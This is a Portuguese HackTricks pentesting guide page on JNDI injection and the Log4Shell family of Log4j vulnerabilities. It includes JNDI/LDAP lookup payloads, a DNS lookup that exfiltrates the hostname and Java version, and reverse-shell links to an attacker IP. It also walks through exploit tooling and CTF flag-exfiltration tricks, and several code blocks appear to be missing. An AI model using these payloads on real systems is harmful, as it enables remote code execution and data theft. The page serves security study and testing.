<summary><strong>Aprenda hacking AWS do zero ao herói com</strong><ahref="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
O JNDI, integrado ao Java desde o final dos anos 1990, atua como um serviço de diretório, permitindo que programas Java localizem dados ou objetos por meio de um sistema de nomes. Ele suporta vários serviços de diretório por meio de interfaces de provedor de serviços (SPIs), permitindo a recuperação de dados de diferentes sistemas, incluindo objetos Java remotos. SPIs comuns incluem CORBA COS, Registro Java RMI e LDAP.
* **Endereços de Referência**: Especifica a localização de um objeto (por exemplo, _rmi://servidor/ref_), permitindo a recuperação direta do endereço especificado.
* **RMI**: `java.rmi.server.useCodeabseOnly = true` por padrão a partir do JDK 7u21, restringindo o carregamento de objetos remotos. Um Gerenciador de Segurança limita ainda mais o que pode ser carregado.
* **LDAP**: `com.sun.jndi.ldap.object.trustURLCodebase = false` por padrão a partir do JDK 6u141, 7u131, 8u121, bloqueando a execução de objetos Java carregados remotamente. Se definido como `true`, a execução de código remoto é possível sem supervisão de um Gerenciador de Segurança.
* **CORBA**: Não possui uma propriedade específica, mas o Gerenciador de Segurança está sempre ativo.
No entanto, o **Gerenciador de Nomes**, responsável por resolver links JNDI, carece de mecanismos de segurança integrados, permitindo potencialmente a recuperação de objetos de qualquer fonte. Isso representa um risco, pois as proteções RMI, LDAP e CORBA podem ser contornadas, levando ao carregamento de objetos Java arbitrários ou à exploração de componentes de aplicativos existentes (gadgets) para executar código malicioso.
Apesar das proteções, vulnerabilidades permanecem, principalmente devido à falta de salvaguardas contra o carregamento de JNDI de fontes não confiáveis e à possibilidade de contornar proteções existentes.
Mesmo que você tenha definido um **`PROVIDER_URL`**, você pode indicar um diferente em uma busca e ele será acessado: `ctx.lookup("<url-controlada-pelo-atacante>")` e é isso que um atacante explorará para carregar objetos arbitrários de um sistema controlado por ele.
O CORBA (Common Object Request Broker Architecture) emprega uma **Referência de Objeto Interoperável (IOR)** para identificar remotamente objetos. Esta referência inclui informações essenciais como:
* Configurar o Gerenciador de Segurança para permitir conexões a codebases potencialmente maliciosos. Isso pode ser alcançado por meio de:
* Permissão de soquete, por exemplo, `permissions java.net.SocketPermission "*:1098-1099", "connect";`.
* Permissões de leitura de arquivos, universalmente (`permission java.io.FilePermission "<<ALLFILES>>", "read";`) ou para diretórios específicos onde arquivos maliciosos podem ser colocados.
Para RMI (Invocação de Método Remoto), a situação é um pouco diferente. Assim como no CORBA, o download arbitrário de classes é restrito por padrão. Para explorar o RMI, normalmente seria necessário contornar o Gerenciador de Segurança, uma façanha também relevante no CORBA.
Uma **pesquisa** usará uma URL como `ldap://localhost:389/o=JNDITutorial` para encontrar o objeto JNDITutorial de um servidor LDAP e **recuperar seus atributos**.\
Se a pesquisa LDAP foi invocada com **SearchControls.setReturningObjFlag() com `true`, então o objeto retornado será reconstruído**.
Portanto, existem várias maneiras de atacar essas opções.\
Um **atacante pode envenenar registros LDAP introduzindo payloads** neles que serão executados nos sistemas que os coletam (muito útil para **comprometer dezenas de máquinas** se você tiver acesso ao servidor LDAP). Outra maneira de explorar isso seria realizar um **ataque MitM em uma pesquisa LDAP**, por exemplo.
Caso você possa **fazer um aplicativo resolver uma URL LDAP JNDI**, você pode controlar o LDAP que será pesquisado e poderia enviar de volta o exploit (log4shell).
Caso `trustURLCodebase` seja `true`, um atacante pode fornecer suas próprias classes no codebase; caso contrário, ele precisará abusar de gadgets no classpath.
A vulnerabilidade é introduzida no Log4j porque ele suporta uma [**sintaxe especial**](https://logging.apache.org/log4j/2.x/manual/configuration.html#PropertySubstitution) na forma `${prefixo:nome}` onde `prefixo` é um dos diferentes [**Lookups**](https://logging.apache.org/log4j/2.x/manual/lookups.html) onde `nome` deve ser avaliado. Por exemplo, `${java:versão}` é a versão atual em execução do Java.
[**LOG4J2-313**](https://issues.apache.org/jira/browse/LOG4J2-313) introduziu um recurso de `jndi` Lookup. Esse recurso permite a recuperação de variáveis por meio do JNDI. Tipicamente, a chave é automaticamente prefixada com `java:comp/env/`. No entanto, se a própria chave incluir um **":"**, este prefixo padrão não é aplicado.
Com um **: presente** na chave, como em `${jndi:ldap://exemplo.com/a}`, não há **prefixo** e o **servidor LDAP é consultado para o objeto**. E esses Lookups podem ser usados tanto na configuração do Log4j quanto ao registrar linhas.
Portanto, a única coisa necessária para obter RCE é uma **versão vulnerável do Log4j processando informações controladas pelo usuário**. E como esta é uma biblioteca amplamente usada por aplicativos Java para registrar informações (incluindo aplicativos voltados para a Internet), era muito comum ter log4j registrando, por exemplo, cabeçalhos HTTP recebidos como o User-Agent. No entanto, o log4j **não é usado apenas para registrar informações HTTP, mas qualquer entrada** e dados indicados pelo desenvolvedor.
Essa vulnerabilidade é uma falha crítica de **desserialização não confiável** no componente `log4j-core`, afetando versões de 2.0-beta9 a 2.14.1. Permite a **execução remota de código (RCE)**, possibilitando que invasores assumam o controle de sistemas. O problema foi relatado por Chen Zhaojun da Equipe de Segurança da Alibaba Cloud e afeta vários frameworks Apache. A correção inicial na versão 2.15.0 estava incompleta. Regras Sigma para defesa estão disponíveis ([Regra 1](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web\_cve\_2021\_44228\_log4j\_fields.yml), [Regra 2](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web\_cve\_2021\_44228\_log4j.yml)).
Inicialmente classificada como baixa, mas posteriormente atualizada para crítica, essa CVE é uma falha de **Negação de Serviço (DoS)** resultante de uma correção incompleta na versão 2.15.0 para a CVE-2021-44228. Afeta configurações não padrão, permitindo que invasores causem ataques de DoS por meio de payloads elaborados. Um [tweet](https://twitter.com/marcioalm/status/1471740771581652995) mostra um método de bypass. O problema é resolvido nas versões 2.16.0 e 2.12.2 removendo padrões de busca de mensagens e desabilitando o JNDI por padrão.
Afetando as versões **Log4j 1.x** em configurações não padrão que usam `JMSAppender`, essa CVE é uma falha de desserialização não confiável. Não há correção disponível para o ramo 1.x, que está em fim de vida, sendo recomendado atualizar para `log4j-core 2.17.0`.
Essa vulnerabilidade afeta o **framework de registro Logback**, sucessor do Log4j 1.x. Anteriormente considerado seguro, o framework foi encontrado vulnerável, e novas versões (1.3.0-alpha11 e 1.2.9) foram lançadas para abordar o problema.
O Log4j 2.16.0 contém uma falha de DoS, levando ao lançamento do `log4j 2.17.0` para corrigir a CVE. Mais detalhes estão no [relatório](https://www.bleepingcomputer.com/news/security/upgraded-to-log4j-216-surprise-theres-a-217-fixing-dos/) do BleepingComputer.
Afetando a versão 2.17 do log4j, essa CVE requer que o atacante controle o arquivo de configuração do log4j. Envolve uma possível execução de código arbitrário via um JDBCAppender configurado. Mais detalhes estão disponíveis no [post do blog da Checkmarx](https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/).
Essa vulnerabilidade é muito fácil de ser descoberta se estiver desprotegida, pois enviará pelo menos uma **solicitação DNS** para o endereço que você indicar em seu payload. Portanto, payloads como:
Observe que **mesmo que uma solicitação DNS seja recebida, isso não significa que a aplicação é explorável** (ou mesmo vulnerável), será necessário tentar explorá-la.
ou como `${`**`jndi:ldap://jv-${sys:java.version}-hn-${hostName}.ei4frk.dnslog.cn/a}`** e se uma **solicitação DNS for recebida com o valor da variável de ambiente**, você saberá que a aplicação é vulnerável.
Os hosts que executam versões do JDK acima de 6u141, 7u131 ou 8u121 estão protegidos contra o vetor de ataque de carregamento de classe LDAP. Isso se deve à desativação padrão de `com.sun.jndi.ldap.object.trustURLCodebase`, que impede o JNDI de carregar um código remoto via LDAP. No entanto, é crucial observar que essas versões **não estão protegidas contra o vetor de ataque de desserialização**.
Para os atacantes que visam explorar essas versões mais recentes do JDK, é necessário aproveitar um **gadget confiável** dentro da aplicação Java. Ferramentas como ysoserial ou JNDIExploit são frequentemente usadas para esse fim. Por outro lado, explorar versões inferiores do JDK é relativamente mais fácil, pois essas versões podem ser manipuladas para carregar e executar classes arbitrárias.
Para **mais informações** (_como limitações nos vetores RMI e CORBA_) **verifique a seção anterior de Referência de Nomenclatura JNDI** ou [https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/](https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/)
Use a ferramenta [**marshalsec**](https://github.com/mbechler/marshalsec) (versão jar disponível [**aqui**](https://github.com/RandomRobbieBF/marshalsec-jar)). Esta abordagem estabelece um servidor de referência LDAP para redirecionar conexões para um servidor HTTP secundário onde o exploit será hospedado:
Compile o arquivo Java em um arquivo de classe usando: `javac Exploit.java -source 8 -target 8`. Em seguida, inicie um **servidor HTTP** no diretório que contém o arquivo de classe com: `python3 -m http.server`. Certifique-se de que o **servidor LDAP marshalsec** faça referência a este servidor HTTP.
**Nota:** Esta exploração depende da configuração do Java para permitir o carregamento remoto de código via LDAP. Se isso não for permitido, considere explorar uma classe confiável para execução de código arbitrário.
Note que por algum motivo o autor removeu este projeto do github após a descoberta do log4shell. Você pode encontrar uma versão em cache em [https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2](https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2) mas se você deseja respeitar a decisão do autor, utilize um método diferente para explorar essa vulnerabilidade.
Além disso, você não pode encontrar o código fonte no wayback machine, então analise o código fonte ou execute o arquivo jar sabendo que você não sabe o que está executando.
Para este exemplo, você pode simplesmente executar este **servidor web vulnerável ao log4shell** na porta 8080: [https://github.com/christophetd/log4shell-vulnerable-app](https://github.com/christophetd/log4shell-vulnerable-app) (_no README você encontrará como executá-lo_). Este aplicativo vulnerável está registrando com uma versão vulnerável do log4shell o conteúdo do cabeçalho da solicitação HTTP _X-Api-Version_.
Após ler o código por apenas alguns minutos, em _com.feihong.ldap.LdapServer_ e _com.feihong.ldap.HTTPServer_ você pode ver como os **servidores LDAP e HTTP são criados**. O servidor LDAP entenderá qual payload precisa ser servido e redirecionará a vítima para o servidor HTTP, que servirá o exploit.\
Em _com.feihong.ldap.gadgets_ você pode encontrar **alguns gadgets específicos** que podem ser usados para executar a ação desejada (potencialmente executar código arbitrário). E em _com.feihong.ldap.template_ você pode ver as diferentes classes de modelo que irão **gerar os exploits**.
**Lembre-se de verificar `java -jar JNDIExploit-1.2-SNAPSHOT.jar -u` para outras opções de exploração. Além disso, caso precise, você pode alterar a porta dos servidores LDAP e HTTP.**
De forma semelhante ao exploit anterior, você pode tentar usar [**JNDI-Exploit-Kit**](https://github.com/pimps/JNDI-Exploit-Kit) para explorar essa vulnerabilidade.\
Você pode gerar os URLs para enviar à vítima executando:
_Este ataque usando um objeto Java gerado personalizado funcionará em laboratórios como a **sala solar THM**. No entanto, isso geralmente não funcionará (pois por padrão o Java não está configurado para carregar um codebase remoto usando LDAP) acredito que porque não está abusando de uma classe confiável para executar código arbitrário._
[https://github.com/cckuailong/JNDI-Injection-Exploit-Plus](https://github.com/cckuailong/JNDI-Injection-Exploit-Plus) é outra ferramenta para gerar **links JNDI funcionais** e fornecer serviços em segundo plano iniciando servidor RMI, servidor LDAP e servidor HTTP.\
Esta opção é realmente útil para atacar **versões do Java configuradas para confiar apenas em classes especificadas e não em todos**. Portanto, **ysoserial** será usado para gerar **serializações de classes confiáveis** que podem ser usadas como gadgets para **executar código arbitrário** (_a classe confiável abusada pelo ysoserial deve ser usada pelo programa Java da vítima para que o exploit funcione_).
Usando **ysoserial** ou [**ysoserial-modified**](https://github.com/pimps/ysoserial-modified) você pode criar o exploit de desserialização que será baixado pelo JNDI:
Use [**JNDI-Exploit-Kit**](https://github.com/pimps/JNDI-Exploit-Kit) para gerar **links JNDI** onde o exploit estará aguardando conexões das máquinas vulneráveis. Você pode servir **diferentes exploits que podem ser gerados automaticamente** pelo JNDI-Exploit-Kit ou até mesmo seus **próprios payloads de desserialização** (gerados por você ou pelo ysoserial).
Agora você pode facilmente usar um link JNDI gerado para explorar a vulnerabilidade e obter um **shell reverso** apenas enviando para uma versão vulnerável do log4j: **`${ldap://10.10.14.10:1389/generated}`**
Neste [**writeup de CTF**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/) é bem explicado como é potencialmente **possível****abusar** algumas funcionalidades do **Log4J**.
> A partir da versão 2.16.0 (para Java 8), a funcionalidade de **busca de mensagens foi completamente removida**. **As buscas na configuração ainda funcionam**. Além disso, o Log4j agora desabilita o acesso ao JNDI por padrão. As buscas JNDI na configuração agora precisam ser habilitadas explicitamente.
> A partir da versão 2.17.0 (e 2.12.3 e 2.3.1 para Java 7 e Java 6), **apenas as strings de busca na configuração são expandidas recursivamente**; em qualquer outro uso, apenas a busca de nível superior é resolvida, e quaisquer buscas aninhadas não são resolvidas.
Isso significa que por padrão você pode **esquecer o uso de qualquer exploit `jndi`**. Além disso, para realizar **buscas recursivas** você precisa tê-las configuradas.
Neste [CTF](https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/), o atacante controlava o valor de `${sys:cmd}` e precisava extrair a flag de uma variável de ambiente.\
Como visto nesta página em [**cargas úteis anteriores**](jndi-java-naming-and-directory-interface-and-log4shell.md#verification), existem diferentes maneiras de acessar variáveis de ambiente, como: **`${env:FLAG}`**. Neste CTF isso foi inútil, mas pode ser útil em outros cenários da vida real.
No CTF, você **não podia acessar o stderr** da aplicação Java usando log4J, mas as **exceções do Log4J são enviadas para stdout**, que foi impresso no aplicativo Python. Isso significava que ao acionar uma exceção poderíamos acessar o conteúdo. Uma exceção para exfiltrar a flag foi: **`${java:${env:FLAG}}`.** Isso funciona porque **`${java:CTF{blahblah}}`** não existe e uma exceção com o valor da flag será mostrada:
Apenas para mencionar, você também poderia injetar novos [**padrões de conversão**](https://logging.apache.org/log4j/2.x/manual/layouts.html#PatternLayout) e acionar exceções que serão registradas em `stdout`. Por exemplo:
Isso não foi útil para exfiltrar dados dentro da mensagem de erro, porque a pesquisa não foi resolvida antes do padrão de conversão, mas poderia ser útil para outras coisas, como detecção.
No entanto, é possível usar alguns **padrões de conversão que suportam regexes** para exfiltrar informações de uma pesquisa usando regexes e abusando de comportamentos de **busca binária** ou baseados em **tempo**.
O padrão de conversão **`%replace`** pode ser usado para **substituir****conteúdo** de uma **string** mesmo usando **regexes**. Funciona assim: `replace{pattern}{regex}{substitution}`\
Abusando desse comportamento, você poderia fazer com que a substituição **acionasse uma exceção se o regex correspondesse** a qualquer coisa dentro da string (e nenhuma exceção se não fosse encontrada) assim:
Conforme mencionado na seção anterior, **`%replace`** suporta **regexes**. Portanto, é possível usar um payload da [página ReDoS](../regular-expression-denial-of-service-redos.md) para causar um **timeout** caso a flag seja encontrada. Por exemplo, um payload como `%replace{${env:FLAG}}{^(?=CTF)((.`_`)`_`)*salt$}{asd}` poderia desencadear um **timeout** nesse CTF.
Neste [**writeup**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/), em vez de usar um ataque ReDoS, foi utilizado um **ataque de amplificação** para causar uma diferença de tempo na resposta:
> Se a flag começar com `flagGuess`, a flag inteira será substituída por 29 `#` (usei esse caractere porque provavelmente não fará parte da flag). **Cada um dos 29 `#` resultantes é então substituído por 54 `#`**. Esse processo é repetido **6 vezes**, resultando em um total de ` 29*54*54^6* =`` `` `**`96816014208`** **`#`!**
> Substituir tantos `#` desencadeará o timeout de 10 segundos da aplicação Flask, o que resultará no envio do código de status HTTP 500 para o usuário. (Se a flag não começar com `flagGuess`, receberemos um código de status não-500)
<summary><strong>Aprenda hacking AWS do zero ao hero com</strong><ahref="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou nos siga no Twitter 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
